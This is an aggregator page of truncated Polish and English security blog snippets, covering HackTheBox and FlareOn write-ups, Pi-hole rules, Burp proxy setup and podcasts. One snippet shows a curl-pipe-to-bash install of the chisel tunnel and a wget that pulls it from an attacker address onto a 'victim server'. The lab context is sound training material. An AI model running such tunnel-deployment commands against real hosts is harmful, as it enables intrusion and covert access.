Serwisy SEC

Firestore - tworzenie, modyfikowanie i usuwanie da...

fsgeek.pl 4 years ago Przy bazie danych równie istotne, jak pobieranie danych, jest również ich tworzenie. Do podstawowych operacji możemy zaliczyć tworzenie, edycję i usuwanie dokumentów oraz kolekcji. W przypadku Firestore jest kilka rozwiązań, które mogą zdziwić. Szcze...

Twoje hasła w końcu bezpieczne! Poradnik bezpiecze...

kwestiabezpieczenstwa.pl 4 years ago Jak stworzyć silne, mocne i trudne do złamania hasło? Poznaj TOP 100 najpopularniejszych haseł w Polsce. Dowiedz się, jak łamane są hasła. Czy mierniki i testery siły hasła działają? Po co Ci kostka do gry i dlaczego musisz pamiętać...

Jak zrobić DDOS na ETH?

chaindev.pl 4 years ago

Jak zrobić DDOS na ETH?

chaindev.pl 4 years ago

Writeup: HackTheBox Doctor machine

whitehatlab.eu 4 years ago 1. TLDR 2. Preparation I prepared any useful variables: export IP=10.10.10.209 3. Scanning and designation First, I ran a scan with the nmap tool to uncover and identify the services that were moving on the 1000 most popular ports....

About WAF – Web Application Firewall with Artur Pa...

maciejkuchnik.pl 4 years ago In this episode, Artur Pajkert introduces us to issues related to Web Application Firewall. In an hour-long episode, Artur talks about a solution that protects websites hosted on cyberfolks.pl all day.

New Cheatsheet XSS 2021

blaszczakm.blogspot.com 4 years ago https://netsec.expert/posts/xss-in-2021/

Wyjątki. Czego unikać?

bdabek.pl 4 years ago Java pozwala nam na używanie wyjątków do czego sobie zapragniemy. Jako developerzy wiemy natomiast, iż wyjątki służą do sytuacji wyjątkowych i mamy do nich jakiś szacunek. Jednak, kiedy przychodzi do zaprojektowania pewnej części systemu zdarza nam s...

Wyjątki. Czego unikać?

"Nie będziemy negocjować" - casus CD Projekt RED

sasmaczyliblogbezpiecznika.blogspot.com 4 years ago Najpierw parę faktów 09.02.2021 roku CD Projekt RED poinformował, iż został zhakowany, część urządzeń zaszyfrowana, skradzione zostały kody źródłowe kluczowych gier oraz duża ilość dokumentów.Przestępcy zażądali okupu grożąc ujawnieniem skradzionych...

Writeup: HackTheBox individual machine

whitehatlab.eu 4 years ago 1. TLDR 2. Preparation I prepared any useful variables: export IP=10.10.10.203 3. Scanning and designation At first I utilized the nmap tool to identify open ports: ┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/ Worker] └──╼ $nmap -s...

Writeup: HackTheBox Omni machine

whitehatlab.eu 4 years ago 1. TLDR 2. Preparation I prepared any useful variables: export IP=10.10.10.204 3. Scanning and designation First, I utilized the nmap tool to identify open ports: ┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/ Omni] └──╼ $nmap -sC -sV ...

TCP/UDP reverse tunnel, transported over HTTP, sec...

blaszczakm.blogspot.com 4 years ago #### CHISEL INSTALL curl https://i.jpillora.com/chisel! | bash ## copy to victim server: www-data@passage:/tmp$ wget http://10.10.14.143/chisel wget http://10.10.14.143/chisel --2021-01-25 08:55:34-- http://10.10.14.143/chisel Connecting to 10.10.1...

Red Team Notes 2.0

blaszczakm.blogspot.com 4 years ago https://dmcxblue.gitbook.io/red-team-notes-2-0/

Pihole – Cert Hole itp

antynet.pl 4 years ago DNS Hole od kilkunastu lat jest wykorzystywane do wielu celów. Zwykle do blokowania reklam na portalach, usług śledzących itp. Jednakże dożyliśmy takich czasów, iż DNS Hole coraz częściej wykorzystywane jest do zapewnienia bezpieczeństwa użytkownikó...

Redis. Wprowadzenie Dla Początkujących

bdabek.pl 4 years ago Redis jest popularnym projektem open sourcowym, który od roku 2013 zyskuje coraz to większą i większą rozpoznawalność w światku IT. Dziś, w roku 2021, Redis jest znany jako NoSQL-owa baza danych klucz-wartość działająca w pamięci, a jej najpopularnie...

Redis. Wprowadzenie Dla Początkujących

Serwery dla integratora systemu ERP enova365 – cas...

dataspace.pl 4 years ago Systemy ERP są krwioobiegiem nowoczesnej firmy, żeby działały w sposób optymalny muszą dysponować odpowiednią infrastrukturą - sprawdź jakie środowisko przygotowaliśmy dla integratora COM@COM.

Pihole – regexp

antynet.pl 4 years ago Jeśli ktoś korzysta z PiHole to podaję swoje regexp. Opracowane na podstawie własnych analiz ruchu itp. Domeny wyłapane w ruchu ISP Debacom Zabrze: [0-9a-za-z]{13-18}\.tickets [0-9a-za-z]{13-18}\.blackfriday v1\.[a-uw-z]{7}\.ru v[12]{1}\.[a-uw-z]{7}\...

Random:view #003 – Crosscast Cyber, Cyber… 113: Ro...

randomseed.pl 4 years ago Rozmowa Mirosława Maja i Łukasza Jachowicza z Pawłem Wilkiem na temat reverse engineeringu szczepionki przeciwko SARS-CoV-2 w ramach podcastu Cyber, Cyber… Fundacji Bezpieczna Cyberprzestrzeń.

MAC address c8:93:46 – ZeverSolar

antynet.pl 4 years ago Robiłem porządki w swojej sieci domowej. Napotkałem na problem, adres mac: c8:93:46:36:10:1c Gadatliwe to nie było, porty pozamykane. MAC address określał producenta: "MXCHIP Company Limited" Wiele to nie dało, poza tym iż trop kierował na IoT. Poni...

Kalendarium - przegląd wydarzeń z 2020 roku

zawszeczujni.pl 4 years ago 2020 rok już za nami, dlatego zdecydowaliśmy się przypomnieć naszym czytelnikom niektóre ważne wydarzenia dotyczące służb specjalnych oraz branży IT, tworząc mini kalendarium 2020 roku:

Ataki AIR-FI. RAM jako nadajnik radiowy

randomseed.pl 4 years ago Szyny danych w pamięciach RAM współczesnych komputerów osiągnęły takie częstotliwości pracy, iż możliwe jest używanie ich w roli nadajników radiowych, a co za tym idzie wykorzystywanie do wykradania danych, choćby wtedy, gdy komputer jest odłączony o...

PfSense – repo oficjalne BSD

antynet.pl 4 years ago /etc/pkg/FreeBSD.conf –> ustaw enabled na yes /usr/local/etc/pkg/repos/FreeBSD.conf –> ustaw enabled na yes /usr/local/etc/pkg/repos/pfSense.conf –> ustaw enabled na yes.

Reverse engineering kodu źródłowego szczepionki. B...

randomseed.pl 4 years ago Witaj! W tym poście będziemy przyglądali się znak po znaku kodowi źródłowemu szczepionki BioNTech / Pfizer SARS-CoV-2 mRNA.

POIT 099: Podsumowanie 2020

feeds.buzzsprout.com 4 years ago Witam w dziewięćdziesiątym dziewiątym odcinku podcastu "Porozmawiajmy o IT". Tematem dzisiejszej rozmowy jest podsumowanie roku 2020.Dziś moim gościem jest Grzegorz Kotfis – programista z wieloletnim doświadczeniem najsilniej związany z technologią ....

Writeup: HackTheBox SneakyMailer machine

whitehatlab.eu 4 years ago 1. TLDR 2. Preparation I prepared any useful variables: export IP=10.10.10.197 3. Scanning and designation First, I ran a scan with the nmap tool to uncover and identify the services that were moving on the 1000 most popular ports....

Intercept http2 (grpc) in BURP SUITE PROXY

blaszczakm.blogspot.com 4 years ago as root: iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner mitmproxyuser -d 18.159.107.117 -j REDIRECT --to-port 8080 adduser mitmproxyuser cat /etc/nghttpx/nghttpx.conf (downstream config) frontend=0.0.0.0,8080;no-tls backend=127....

Forward local connections to local BURP PROXY / MI...

blaszczakm.blogspot.com 4 years ago 0) sysctl -w net.ipv4.ip_forward=1 sysctl -w net.ipv6.conf.all.forwarding=1sysctl -w net.ipv4.conf.all.send_redirects=0 1) iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner mitmproxyuser -d dst_ip -j REDIRECT --to-port 8080 2) useradd --cr...

Virtualbox + 4k (3840x2160) resolution on guest

blaszczakm.blogspot.com 4 years ago PS C:\Program Files\Oracle\VirtualBox> .\VBoxManage.exe setextradata global GUI/MaxGuestResolution "3840,2160" PS C:\Program Files\Oracle\VirtualBox> .\VBoxManage.exe getextradata global GUI/MaxGuestResolution Value: 3840,2160 PS C:\Program Fil...

Środowisko IT do monitorowania Ziemi – case study ...

dataspace.pl 4 years ago "Fly me to the moon..." - zrobiliśmy to, pozyskaliśmy pierwsze zlecenie w kosmosie. Zobacz jak współpracujemy z Europejską Agencją Kosmiczną.

Lista popularnych wyszukiwarek i narzędzi do rekon...

antynet.pl 4 years ago Elegancka lista 😉 https://zwirek.eu/2020/11/25/wyszukiwarki/ .

Szczepionka na COVID-19 - wyzwaniem dla bezpieczeń...

sasmaczyliblogbezpiecznika.blogspot.com 4 years ago Szczepionka na COVID-19 niewątpliwie stała się tematem numer jeden na koniec tego roku, a z całą pewnością w 2021 roku będziemy słyszeć o niej jeszcze dużo.Z reguły dyskutuje się o jej skuteczności czy też bezpieczeństwie użycia dla pacjenta (i...

Writeup: HackTheBox Buff machine

whitehatlab.eu 4 years ago 1. TLDR 2. Preparation I have prepared any useful variables: export IP=10.10.10.198 3. Scanning and designation At the beginning I utilized the nmap tool to identify open ports: ┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/ Buff] └─...

Obsługa zwrotek w celu podwyższenia efektywności k...

payload.pl 4 years ago Co się stanie, gdy na milion adresów, na które wyślemy mailing reklamowy, połowa będzie już dawno nieaktywna? Zmarnujemy połowę czasu w jego wysyłanie, ale przede wszystkim open rate takiego mailingu będzie o połowę niższy. Jak takiemu marnotrawstwu ...

Windows 10. Wolny Transfer w otoczeniu sieciowym. ...

antynet.pl 4 years ago Skuteczne rozwiązanie: PowerShell Set-SmbClientConfiguration -EnableBandwidthThrottling 0 -EnableLargeMtu 1 Set-SmbServerConfiguration -EnableLeasing $false NET STOP SERVER NET START SERVER.

Writeup: FlareOn 2020: 008 - Aardvark

whitehatlab.eu 4 years ago 1. TLDR 2. Input The occupation file is here. Password: flares. The subject of the task is the ttt2.exe file. 3. Inspection of the ttt2.exe file I verified the file with the file tool: $ file ttt2.exe ttt2.exe: PE32+...

POIT 095: Bezpieczeństwo aplikacji

feeds.buzzsprout.com 4 years ago Witam w dziewięćdziesiątym piątym odcinku podcastu "Porozmawiajmy o IT". Tematem dzisiejszej rozmowy jest bezpieczeństwo aplikacji.Dziś moim gościem jest Andrzej Dyjak – architekt bezpieczeństwa z kilkunastoletnim doświadczeniem, aktywny konsultant, ...

EEG spienione goni fale. Eksperyment medytacyjny z...

randomseed.pl 4 years ago Z roku na rok pojawia się coraz więcej urządzeń pozwalających w domowych warunkach dokonywać pomiarów bioelektrycznej czynności mózgu. Wykorzystuje się w nich zjawisko powstawania fal mózgowych o różnych częstotliwościach, zależnych od aktualnej kond...

AMD EPYC w serwerze do obsługi hostów głosowych – ...

dataspace.pl 4 years ago Czy zastosowanie nowoczesnego procesora AMD Epyc może obniżyć koszty eksploatacji środowiska IT? Przeczytaj o naszej nowej realizacji dla Vee SA.

POIT 093: Deep Security

feeds.buzzsprout.com 4 years ago Witam w dziewięćdziesiątym trzecim odcinku podcastu "Porozmawiajmy o IT". Tematem dzisiejszej rozmowy jest Deep Security.Partnerem cyklu jest Atman, dostawca usług IT dla biznesu w modelu outsourcingu.Dziś moim gościem jest Radosław Przybysz – od bli...

Writeup: FlareOn 2020: 006 - codeit

whitehatlab.eu 4 years ago 1. TLDR 2. Input The occupation file is here. Password: flares. The subject of the task is the codeit.exe file, which is simply a compiled script. From the content of the task it is besides known that the flag was...

Writeup: FlareOn 2020: 005 - TKApp

whitehatlab.eu 4 years ago 1. TLDR 2. Input The occupation file is here. Password: flares. The subject of the task is the TKApp.tpk file. From the content of the task, it is known that it is simply a file containing software for a smartwatch....

Writeup: FlareOn 2020: 004 - report

whitehatlab.eu 4 years ago 1. TLDR 2. Input The occupation file is here. Password: flares. The subject of the task is the report.xls spreadsheet. From the content of the task, it is known that there is simply a macro in which the flag is...

Writeup: FlareOn 2020: 003 - wednesday

whitehatlab.eu 4 years ago 1. TLDR 2. Input The occupation file is here. Password: flares. The subject of the task is the platform game mydude.exe: According to the content of the task, I looked at the README.txt file: █ ██████╗███████╗██████╗ █████╗ ██╗ ██╗...

Writeup: FlareOn 2020: 002 - garbage

whitehatlab.eu 4 years ago 1. TLDR 2. Input The occupation file is here. Password: flares. The only thing I got at the beginning of this task was garbage.exe 3. Inspect garbage.exe I verified the file with file: $ file garbage.exe garbage.exe: PE32 executable...

Writeup: FlareOn 2020: 001 - Fidler

whitehatlab.eu 4 years ago 1. TLDR 2. Input The occupation file is here. Password: flares. The subject of the task is simply a program written in python. Available files are: controls.py fidler.py fonts/arial.ttf fonts/courbd.ttf img/btndown.png img/btnup.png img/clock.png im...

Writeup: HackTheBox Blunder machine

whitehatlab.eu 4 years ago 1. TLDR 2. Preparation I prepared any useful variables: export IP=10.10.10.191 3. Scanning and designation First, I ran an aggressive scan with the nmap tool to uncover and identify the services that were moving on the 1000 most popular...

Cyberpandemia: planowane na 2021-2030 zmiany w pra...

payload.pl 4 years ago Specjalnie dla Was wzięliśmy udział w XII Konferencji Naukowej Bezpieczeństwo w Internecie Cyberpandemia i przedstawiamy najważniejsze i najciekawsze materiały.

SECURE 2020 - "Ewolucja czy rewolucja Cybertransfo...

youtube.com 4 years ago Podczas SECURE 2020 prezentacja Moniki Bogdał z Kancelarii Prawnej Piszcz i Wspólnicy oraz Izabelli Łapko z NASK SA zatytułowana: "Ewolucja czy rewolucja - Cybertransformacja oczami biznesu".